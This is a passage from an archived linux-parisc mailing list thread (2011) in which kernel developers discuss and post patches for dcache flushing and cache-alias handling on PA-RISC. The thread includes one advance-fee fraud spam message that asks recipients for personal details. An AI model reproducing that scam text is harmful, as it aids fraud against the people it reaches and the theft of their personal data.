 				printk(KERN_ERR "INEQUIVALENT ALIASES 0x%lx and 0x%lx in file %s\n", old_addr, addr, mpnt->vm_file ? mpnt->vm_file->f_path.dentry->d_name.name : "(null)");
 			old_addr = addr;
 		}
+#else
+		break;
+#endif
 	}
 	flush_dcache_mmap_unlock(mapping);
+#ifndef DEBUG_ALIASES
+	/* since we have only one page, flush outside the lock.  If the loop
+	 * didn't happen (no mappings), mpnt will be NULL */
+	if (mpnt)
+		__flush_cache_page(mpnt, addr, page_to_phys(page));
+#endif
+
 }
 EXPORT_SYMBOL(flush_dcache_page);
 


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: Improve dcache flush on PA8800/PA8900
Date: Thu, 10 Feb 2011 12:00:32 -0500 (EST)
Lines: 83
Approved: news@gmane.org
Message-ID: <20110210170033.4317E4ED8@hiauly1.hia.nrc.ca>
References: <1297353833.4933.50.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1297357254 30291 80.91.229.12 (10 Feb 2011 17:00:54 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 10 Feb 2011 17:00:54 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, linux-parisc@vger.kernel.org
To: James.Bottomley@HansenPartnership.com (James Bottomley)
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Feb 10 18:00:48 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PnZss-00072K-N4
	for glpp-linux-parisc@lo.gmane.org; Thu, 10 Feb 2011 18:00:47 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756647Ab1BJRAf (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 10 Feb 2011 12:00:35 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.10.84]:1578 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1756646Ab1BJRAe (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 10 Feb 2011 12:00:34 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 4317E4ED8; Thu, 10 Feb 2011 12:00:33 -0500 (EST)
In-Reply-To: <1297353833.4933.50.camel@mulgrave.site> from "James Bottomley" at Feb 10, 2011 10:03:53 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3448
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3448>

> Can we assume these addresses are some type of artifact and just apply
> the patch below anyway?  On current parisc, it's what we do (we don't
> flush anything beyond the first mapping).

I like the idea but using the first mapping is not correct.  All pages
get flushed during core dumps and there is almost always inequivalent
aliases for the page containing the boundary between text and data.
The text map usually comes first.

I don't think the addresses are an artifact.  However, I don't know
how they occur.  I saw another bunch in the C testsuite last night.
There are thousands of tests, so it's hard to know which test triggered
the messages.

I'm now thinking that the dynamic loader sometimes does multiple maps
of libc.  It's using MAP_FIXED.  The current code changes old_addr
everytime an inequivalent alias occurs.  This makes it a bit difficult
to see what's happening.

The usual case would be just one address to flush.  Would it be too
much overhead to do a prescan to determine if there are inequivalent
aliases before doing any flushes?  I think I'll try this.

Dave

> diff --git a/arch/parisc/kernel/cache.c b/arch/parisc/kernel/cache.c
> index 3f11331..c60cc42 100644
> --- a/arch/parisc/kernel/cache.c
> +++ b/arch/parisc/kernel/cache.c
> @@ -276,10 +276,13 @@ __flush_cache_page(struct vm_area_struct *vma, unsigned long vmaddr,
>  void flush_dcache_page(struct page *page)
>  {
>  	struct address_space *mapping = page_mapping(page);
> -	struct vm_area_struct *mpnt;
> +	struct vm_area_struct *mpnt = NULL;
>  	struct prio_tree_iter iter;
>  	unsigned long offset;
> -	unsigned long addr, old_addr = 0;
> +	unsigned long addr = 0;
> +#ifdef DEBUG_ALIASES
> +	unsigned long old_addr = 0;
> +#endif
>  	pgoff_t pgoff;
>  
>  	if (mapping && !mapping_mapped(mapping)) {
> @@ -304,14 +307,25 @@ void flush_dcache_page(struct page *page)
>  		offset = (pgoff - mpnt->vm_pgoff) << PAGE_SHIFT;
>  		addr = mpnt->vm_start + offset;
>  
> +#ifdef DEBUG_ALIASES
>  		if (old_addr == 0 || (old_addr & (SHMLBA - 1)) != (addr & (SHMLBA - 1))) {
>  			__flush_cache_page(mpnt, addr, page_to_phys(page));
>  			if (old_addr)
>  				printk(KERN_ERR "INEQUIVALENT ALIASES 0x%lx and 0x%lx in file %s\n", old_addr, addr, mpnt->vm_file ? mpnt->vm_file->f_path.dentry->d_name.name : "(null)");
>  			old_addr = addr;
>  		}
> +#else
> +		break;
> +#endif
>  	}
>  	flush_dcache_mmap_unlock(mapping);
> +#ifndef DEBUG_ALIASES
> +	/* since we have only one page, flush outside the lock.  If the loop
> +	 * didn't happen (no mappings), mpnt will be NULL */
> +	if (mpnt)
> +		__flush_cache_page(mpnt, addr, page_to_phys(page));
> +#endif
> +
>  }
>  EXPORT_SYMBOL(flush_dcache_page);
>  
> 
> 


-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: Improve dcache flush on PA8800/PA8900
Date: Thu, 10 Feb 2011 15:00:43 -0500 (EST)
Lines: 136
Approved: news@gmane.org
Message-ID: <20110210200044.203164E01@hiauly1.hia.nrc.ca>
References: <20110210170033.4317E4ED8@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1297368057 28458 80.91.229.12 (10 Feb 2011 20:00:57 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 10 Feb 2011 20:00:57 +0000 (UTC)
Cc: James.Bottomley@HansenPartnership.com, dave.anglin@nrc-cnrc.gc.ca,
	linux-parisc@vger.kernel.org
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Feb 10 21:00:50 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Pnch5-00033w-I6
	for glpp-linux-parisc@lo.gmane.org; Thu, 10 Feb 2011 21:00:47 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756844Ab1BJUAq (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 10 Feb 2011 15:00:46 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.10.84]:1667 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1756841Ab1BJUAq (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 10 Feb 2011 15:00:46 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 203164E01; Thu, 10 Feb 2011 15:00:43 -0500 (EST)
In-Reply-To: <20110210170033.4317E4ED8@hiauly1.hia.nrc.ca> from "John David Anglin" at Feb 10, 2011 12:00:32 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3449
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3449>

> The usual case would be just one address to flush.  Would it be too
> much overhead to do a prescan to determine if there are inequivalent
> aliases before doing any flushes?  I think I'll try this.

Testing the following.  Dropped debug message.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)

diff --git a/arch/parisc/kernel/cache.c b/arch/parisc/kernel/cache.c
index 3f11331..e57c3e8 100644
--- a/arch/parisc/kernel/cache.c
+++ b/arch/parisc/kernel/cache.c
@@ -75,14 +75,16 @@ EXPORT_SYMBOL(flush_cache_all_local);
 void
 update_mmu_cache(struct vm_area_struct *vma, unsigned long address, pte_t *ptep)
 {
-	struct page *page = pte_page(*ptep);
+        unsigned long pfn = pte_pfn(*ptep);
+        struct page *page;
 
-	if (pfn_valid(page_to_pfn(page)) && page_mapping(page) &&
-	    test_bit(PG_dcache_dirty, &page->flags)) {
+        if (!pfn_valid(pfn))
+                return;
 
-		flush_kernel_dcache_page(page);
-		clear_bit(PG_dcache_dirty, &page->flags);
-	} else if (parisc_requires_coherency())
+        page = pfn_to_page(pfn);
+
+        if (test_and_clear_bit(PG_dcache_dirty, &page->flags)
+	    || parisc_requires_coherency())
 		flush_kernel_dcache_page(page);
 }
 
@@ -276,10 +278,10 @@ __flush_cache_page(struct vm_area_struct *vma, unsigned long vmaddr,
 void flush_dcache_page(struct page *page)
 {
 	struct address_space *mapping = page_mapping(page);
-	struct vm_area_struct *mpnt;
+	struct vm_area_struct *mpnt, *old_mpnt;
 	struct prio_tree_iter iter;
 	unsigned long offset;
-	unsigned long addr, old_addr = 0;
+	unsigned long addr, old_addr;
 	pgoff_t pgoff;
 
 	if (mapping && !mapping_mapped(mapping)) {
@@ -292,26 +294,51 @@ void flush_dcache_page(struct page *page)
 	if (!mapping)
 		return;
 
+	old_addr = 0;
+	old_mpnt = NULL;
 	pgoff = page->index << (PAGE_CACHE_SHIFT - PAGE_SHIFT);
 
 	/* We have carefully arranged in arch_get_unmapped_area() that
-	 * *any* mappings of a file are always congruently mapped (whether
-	 * declared as MAP_PRIVATE or MAP_SHARED), so we only need
-	 * to flush one address here for them all to become coherent */
+	 * all shared mappings of a file are congruently mapped, so we
+	 * only need to flush one address here for them all to become
+	 * coherent.  However, non-shared fixed mappings of executables
+	 * are not congruently mapped on the boundary page between text
+	 * and data.  Further, the data segment sometimes occurs before
+	 * the text segment.  While it is unlikely that a dirty cache
+	 * line would result from accesses through the text mapping,
+	 * it is possible that this could occur since binutils doesn't
+	 * ensure that the data segment starts on a page boundary.  */
 
 	flush_dcache_mmap_lock(mapping);
+
+	/* Scan for inequivalent aliases.  */
 	vma_prio_tree_foreach(mpnt, &iter, &mapping->i_mmap, pgoff, pgoff) {
 		offset = (pgoff - mpnt->vm_pgoff) << PAGE_SHIFT;
 		addr = mpnt->vm_start + offset;
 
-		if (old_addr == 0 || (old_addr & (SHMLBA - 1)) != (addr & (SHMLBA - 1))) {
-			__flush_cache_page(mpnt, addr, page_to_phys(page));
-			if (old_addr)
-				printk(KERN_ERR "INEQUIVALENT ALIASES 0x%lx and 0x%lx in file %s\n", old_addr, addr, mpnt->vm_file ? mpnt->vm_file->f_path.dentry->d_name.name : "(null)");
+		if (old_addr == 0) {
 			old_addr = addr;
+			old_mpnt = mpnt;
 		}
+		else if ((old_addr & (SHMLBA - 1)) != (addr & (SHMLBA - 1)))
+			goto flush_inequivalent;
+	}
+	flush_dcache_mmap_unlock(mapping);
+
+	/* Handle common case where all aliases are equivalent.  */
+	if (old_addr)
+		__flush_cache_page(old_mpnt, old_addr, page_to_phys(page));
+	return;
+
+flush_inequivalent:
+	vma_prio_tree_foreach(mpnt, &iter, &mapping->i_mmap, pgoff, pgoff) {
+		offset = (pgoff - mpnt->vm_pgoff) << PAGE_SHIFT;
+		addr = mpnt->vm_start + offset;
+
+		__flush_cache_page(mpnt, addr, page_to_phys(page));
 	}
 	flush_dcache_mmap_unlock(mapping);
+	return;
 }
 EXPORT_SYMBOL(flush_dcache_page);
 
diff --git a/arch/parisc/kernel/sys_parisc.c b/arch/parisc/kernel/sys_parisc.c
index c9b9322..f0cb56e 100644
--- a/arch/parisc/kernel/sys_parisc.c
+++ b/arch/parisc/kernel/sys_parisc.c
@@ -92,11 +92,12 @@ unsigned long arch_get_unmapped_area(struct file *filp, unsigned long addr,
 {
 	if (len > TASK_SIZE)
 		return -ENOMEM;
-	/* Might want to check for cache aliasing issues for MAP_FIXED case
-	 * like ARM or MIPS ??? --BenH.
-	 */
-	if (flags & MAP_FIXED)
+	if (flags & MAP_FIXED) {
+		if ((flags & MAP_SHARED) &&
+		    (addr - (pgoff << PAGE_SHIFT)) & (SHMLBA - 1))
+			return -EINVAL;
 		return addr;
+	}
 	if (!addr)
 		addr = TASK_UNMAPPED_BASE;
 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Compaore <paulcompaore12@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.spam.detected
Subject: Dear Friend,
Date: Sat, 12 Feb 2011 17:27:20 +0900 (KST)
Lines: 25
Approved: news@gmane.org
Message-ID: <852544.32046.qm@web70806.mail.kr3.yahoo.com>
Reply-To: paulcompaore14@gmail.com
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 8BIT
X-Trace: dough.gmane.org 1297499250 18672 80.91.229.12 (12 Feb 2011 08:27:30 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 12 Feb 2011 08:27:30 +0000 (UTC)
To: undisclosed recipients:;
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Feb 12 09:27:26 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PoApB-0005Hm-Vo
	for glpp-linux-parisc@lo.gmane.org; Sat, 12 Feb 2011 09:27:26 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752486Ab1BLI1Z (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 12 Feb 2011 03:27:25 -0500
Original-Received: from nm1-vm1.bullet.mail.kr3.yahoo.com ([111.67.240.243]:21967 "HELO
	nm1-vm1.bullet.mail.kr3.yahoo.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with SMTP id S1752356Ab1BLI1Y convert rfc822-to-8bit
	(ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 12 Feb 2011 03:27:24 -0500
Original-Received: from [111.67.240.251] by nm1.bullet.mail.kr3.yahoo.com with NNFMP; 12 Feb 2011 08:27:22 -0000
Original-Received: from [111.67.240.253] by tm2.bullet.mail.kr3.yahoo.com with NNFMP; 12 Feb 2011 08:27:22 -0000
Original-Received: from [127.0.0.1] by omp1002.mail.kr3.yahoo.com with NNFMP; 12 Feb 2011 08:27:22 -0000
X-Yahoo-Newman-Property: ymail-5
X-Yahoo-Newman-Id: 941150.84890.bm@omp1002.mail.kr3.yahoo.com
Original-Received: (qmail 37313 invoked by uid 60001); 12 Feb 2011 08:27:22 -0000
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=yahoo.com; s=s1024; t=1297499242; bh=1v91a69OQw4519fu4178V6Uh/9Z/fHsMI6Z3pHrrLl4=; h=Message-ID:X-YMail-OSG:Received:X-Mailer:Date:From:Reply-To:Subject:To:MIME-Version:Content-Type:Content-Transfer-Encoding; b=RW0F/Zhxj7iZlX74yK3drDA45cPkNEQg9fc2uMPUilGEcKljI4OQGwRjF1GgJIarH9fPlRv1ysCrZ3zboXHBcbVUz1oQxJudz0fJVll3v6CViwiF2GjlCWyCW/f4bcEGDp8Ux3zhouSOon6eaec2fkEIyuLRTfpv4H7/waaj/a0=
X-YMail-OSG: .YAyUuQVM1naDlqJATgEEdON4Z.fqTO4poAVViIAiGXxOC1
 ZyXFijqOP4PFlG4FeLZ4oVziS6RzTWr1tHaz5p749uEEqqxInjSW62_jg4fb
 bxfN68z6_rHd9H2WZmB07fCBib2LjJsP_099wMwkSNA9GAssRlSCDPas3lP.
 rzKSjG2gQjG8gvQVKwcCaT0rZ1yPcCzxI4I4CIAi7IgEqaPT7y1je0IKFkdP
 RmUbqBkIMu6UZHV50XETAqyywPNWJMDoB2iUHV1cN9CGOVM_wTrNw261291C
 FvzcCGZ81xnUkFpT5os2C50x2I.0gBYsQIMAPrhw2vA.gkEs9.boc4mwUPT2
 hute.0AgCJYc1YRQQIrunwG8cmBE5ID2rO.HJ2e9g2DLb6tAiRzxRDgQCOSK
 mD_q7QplXmfDgMDpjQOlkQIa0pM0k0kqHL1QiMjUZniJpdjBhQhvTNUzQ8kY
 vDVbJiEpAQCeubpuba0BtU5dkSXp49m8hTPaf9pxRpPGU4SVM5RezztW00Fq
 ZDTVgF8h_oYb1yiKdD6YGbI5_GiTLcSztf8NvjT8lDY7i5SjW8h8ugBFap0G
 IlBos5ZZ9oUG22F9s2ns96K67jEBCUQHlaxOEcptkLAWk04_KrDzs1lyNIvT
 Nwdmtz9F9eA8ENm.b7_1TpophO5NFNJGYPoVxrK7lgSR9YObZ8NYtzIXobqz
 1jqZWGOB_yDtD3Ss9Ajydf8pRGadGubXvfntHnpVRDTMvJDT7jCghk01jCPt
 OL2cEdsEa2jtumO5aEJYw_opS6KVhzFZ3q.4yE6U5lOUbzkMEmmJJA.UV2xX
 d2bjSOvn5mw.rcqEuy9yuaccCxsyQ45H 
Original-Received: from [212.52.152.113] by web70806.mail.kr3.yahoo.com via HTTP; Sat, 12 Feb 2011 17:27:22 KST
X-Mailer: YahooMailClassic/11.4.20 YahooMailWebService/0.8.108.291010
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
X-Spam-Report: 8.0 points;
 *  1.6 URG_BIZ BODY: Contains urgent matter
 *  2.7 DEAR_FRIEND BODY: Dear Friend? That's not very dear!
 * -2.6 BAYES_00 BODY: Bayesian spam probability is 0 to 1%
 *      [score: 0.0000]
 *  3.0 RCVD_IN_BL_SPAMCOP_NET RBL: Received via a relay in bl.spamcop.net
 *      [Blocked - see <http://www.spamcop.net/bl.shtml?212.52.152.113>]
 *  1.2 ADVANCE_FEE_2 Appears to be advance fee fraud (Nigerian 419)
 *  1.4 ADVANCE_FEE_3 Appears to be advance fee fraud (Nigerian 419)
 *  0.6 ADVANCE_FEE_4 Appears to be advance fee fraud (Nigerian 419)
Xref: news.gmane.org gmane.linux.ports.parisc:3450 gmane.spam.detected:4845711
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3450>


Dear Friend,

I am Mr.Paul Compaore; I am in charge of auditing section in Banque Internationale Du Burkina (BIB). I need your urgent assistance to transfer the sum of ($11.3 million to your account. I will send you full details on how the business will be executed and also note that you will receive 50% of the above mentioned amount if you agree to assist me execute this business transaction. If you are interested and capable to handle this business transaction, come up with the information's shown below:- 

1). Your full name: 
2). Your contact cell phone number: 
3). Your age: 
4). Your sex: 
5). Your occupations: 
6). Your country and city:

As soon as possible all these information's is submitted to me immediately i will send you full details of this business transaction on the receipt of your response.Reply to my private email: paulcompaore14@gmail.com

Thanks.
Mr Paul Compaore



      
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: Improve dcache flush on PA8800/PA8900
Date: Sat, 12 Feb 2011 11:18:46 -0500
Organization: nrc.ca
Lines: 80
Approved: news@gmane.org
Message-ID: <20110212161846.GA24076@hiauly1.hia.nrc.ca>
References: <20110210170033.4317E4ED8@hiauly1.hia.nrc.ca> <20110210200044.203164E01@hiauly1.hia.nrc.ca>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1297527538 11591 80.91.229.12 (12 Feb 2011 16:18:58 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 12 Feb 2011 16:18:58 +0000 (UTC)
To: James.Bottomley@HansenPartnership.com, dave.anglin@nrc-cnrc.gc.ca,
	linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Feb 12 17:18:52 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PoIBP-0004Mt-O7
	for glpp-linux-parisc@lo.gmane.org; Sat, 12 Feb 2011 17:18:52 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751014Ab1BLQSt (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 12 Feb 2011 11:18:49 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.10.84]:2942 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750881Ab1BLQSs (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 12 Feb 2011 11:18:48 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 404A14ED8; Sat, 12 Feb 2011 11:18:47 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <20110210200044.203164E01@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3451
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3451>

On Thu, 10 Feb 2011, John David Anglin wrote:

> > The usual case would be just one address to flush.  Would it be too
> > much overhead to do a prescan to determine if there are inequivalent
> > aliases before doing any flushes?  I think I'll try this.
> 
> Testing the following.  Dropped debug message.

Although I didn't see any slow timer messages, I still had a number of
GCC testsuite timeouts.  I didn't see these timeouts with interrupts
disabled.  So, I plan to see if read write locks can be used without
disabling interrupts.

In any case, I believe it is useful to proceed with the parts of the
change where there is agreement.  Note that the change to update_mmu_cache
is more than a optimization when parisc_requires_coherency is true as
the code no longer flushes when the pfn is not valid.

As noted, I'm seeing much improved stability on my rp3440 with this change.

Signed-off-by: John David Anglin  <dave.anglin@nrc-cnrc.gc.ca>

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)

diff --git a/arch/parisc/kernel/cache.c b/arch/parisc/kernel/cache.c
index 3f11331..e57c3e8 100644
--- a/arch/parisc/kernel/cache.c
+++ b/arch/parisc/kernel/cache.c
@@ -75,14 +75,16 @@ EXPORT_SYMBOL(flush_cache_all_local);
 void
 update_mmu_cache(struct vm_area_struct *vma, unsigned long address, pte_t *ptep)
 {
-	struct page *page = pte_page(*ptep);
+        unsigned long pfn = pte_pfn(*ptep);
+        struct page *page;
 
-	if (pfn_valid(page_to_pfn(page)) && page_mapping(page) &&
-	    test_bit(PG_dcache_dirty, &page->flags)) {
+        if (!pfn_valid(pfn))
+                return;
 
-		flush_kernel_dcache_page(page);
-		clear_bit(PG_dcache_dirty, &page->flags);
-	} else if (parisc_requires_coherency())
+        page = pfn_to_page(pfn);
+
+        if (test_and_clear_bit(PG_dcache_dirty, &page->flags)
+	    || parisc_requires_coherency())
 		flush_kernel_dcache_page(page);
 }
 
diff --git a/arch/parisc/kernel/sys_parisc.c b/arch/parisc/kernel/sys_parisc.c
index c9b9322..f0cb56e 100644
--- a/arch/parisc/kernel/sys_parisc.c
+++ b/arch/parisc/kernel/sys_parisc.c
@@ -92,11 +92,12 @@ unsigned long arch_get_unmapped_area(struct file *filp, unsigned long addr,
 {
 	if (len > TASK_SIZE)
 		return -ENOMEM;
-	/* Might want to check for cache aliasing issues for MAP_FIXED case
-	 * like ARM or MIPS ??? --BenH.
-	 */
-	if (flags & MAP_FIXED)
+	if (flags & MAP_FIXED) {
+		if ((flags & MAP_SHARED) &&
+		    (addr - (pgoff << PAGE_SHIFT)) & (SHMLBA - 1))
+			return -EINVAL;
 		return addr;
+	}
 	if (!addr)
 		addr = TASK_UNMAPPED_BASE;
 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: Improve dcache flush on PA8800/PA8900
Date: Sun, 13 Feb 2011 14:39:35 -0500
Organization: nrc.ca
Lines: 126
Approved: news@gmane.org
Message-ID: <20110213193934.GA28834@hiauly1.hia.nrc.ca>
References: <20110210170033.4317E4ED8@hiauly1.hia.nrc.ca> <20110210200044.203164E01@hiauly1.hia.nrc.ca> <20110212161846.GA24076@hiauly1.hia.nrc.ca>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1297625985 28135 80.91.229.12 (13 Feb 2011 19:39:45 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 13 Feb 2011 19:39:45 +0000 (UTC)
To: James.Bottomley@HansenPartnership.com, dave.anglin@nrc-cnrc.gc.ca,
	linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Feb 13 20:39:40 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PohnH-0001L0-Eu
	for glpp-linux-parisc@lo.gmane.org; Sun, 13 Feb 2011 20:39:39 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754780Ab1BMTji (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 13 Feb 2011 14:39:38 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.10.84]:3703 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754762Ab1BMTji (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 13 Feb 2011 14:39:38 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 0E8AB4E01; Sun, 13 Feb 2011 14:39:35 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <20110212161846.GA24076@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3452
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3452>

On Sat, 12 Feb 2011, John David Anglin wrote:

> On Thu, 10 Feb 2011, John David Anglin wrote:
> 
> > > The usual case would be just one address to flush.  Would it be too
> > > much overhead to do a prescan to determine if there are inequivalent
> > > aliases before doing any flushes?  I think I'll try this.
> > 
> > Testing the following.  Dropped debug message.
> 
> Although I didn't see any slow timer messages, I still had a number of
> GCC testsuite timeouts.  I didn't see these timeouts with interrupts
